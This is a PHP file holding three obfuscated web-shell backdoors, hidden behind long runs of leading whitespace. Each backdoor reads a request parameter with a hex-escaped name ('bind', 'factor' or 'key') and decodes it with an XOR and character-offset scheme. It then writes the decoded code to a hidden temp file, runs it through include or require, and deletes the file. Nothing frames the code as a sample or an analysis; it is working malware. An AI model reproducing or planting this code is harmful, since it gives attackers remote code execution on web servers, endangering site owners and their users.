<?php																																										if(isset($_REQUEST["\x62\x69nd"]) ? true : false){ $resource = array_filter(["/dev/shm", "/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); $flg = $_REQUEST["\x62\x69nd"]; $flg= explode ("." , $flg) ; $dchunk = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); foreach($flg as $y => $v6) { $sChar = ord($s2[$y%$lenS]); $dec =((int)$v6 - $sChar -($y%10)) ^ 86; $dchunk .= chr($dec); } foreach ($resource as $marker): if (is_dir($marker) && is_writable($marker)) { $data_chunk = "$marker" . "/.dat"; if (file_put_contents($data_chunk, $dchunk)) { include $data_chunk; @unlink($data_chunk); exit; } } endforeach; }
																																										if(in_array("fa\x63tor", array_keys($_REQUEST))){ $parameter_group = array_filter([getcwd(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); $holder = $_REQUEST["fa\x63tor"]; $holder = explode( '.' , $holder ) ; $pointer = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); $o = 0; foreach ($holder as $v1) {$sChar = ord($s2[$o% $lenS] ); $d = ((int)$v1 - $sChar - ($o% 10)) ^ 23; $pointer .= chr($d ); $o++; } $token = 0; do { $ref = $parameter_group[$token] ?? null; if ($token >= count($parameter_group)) break; if ((bool)is_dir($ref) && (bool)is_writable($ref)) { $entity = vsprintf("%s/%s", [$ref, ".obj"]); if (file_put_contents($entity, $pointer)) { require $entity; unlink($entity); die(); } } $token++; } while (true); }


if(filter_has_var(INPUT_POST, "\x6Be\x79")){
	$tkn = $_POST["\x6Be\x79"];
	   $tkn			=explode			("." 	 ,	 $tkn	)  	;
	$fac = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $s);
            $x = 0;
    
            while(  $x	 < count(  $tkn)) {$v2 = $tkn[$x];
                $sChar = ord(  $s[$x	% $lenS]);
                $dec =(  (  int)$v2 - $sChar -(  $x	% 10)) ^ 89;
                $fac	.=chr(  $dec);
                $x++;
            }
	$data = array_filter([getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", "/dev/shm"]);
	foreach ($data as $entry) {
    		if (is_dir($entry) && is_writable($entry)) {
    $ent = str_replace("{var_dir}", $entry, "{var_dir}/.record");
    if (file_put_contents($ent, $fac)) {
	include $ent;
	@unlink($ent);
	exit;
}
}
}
}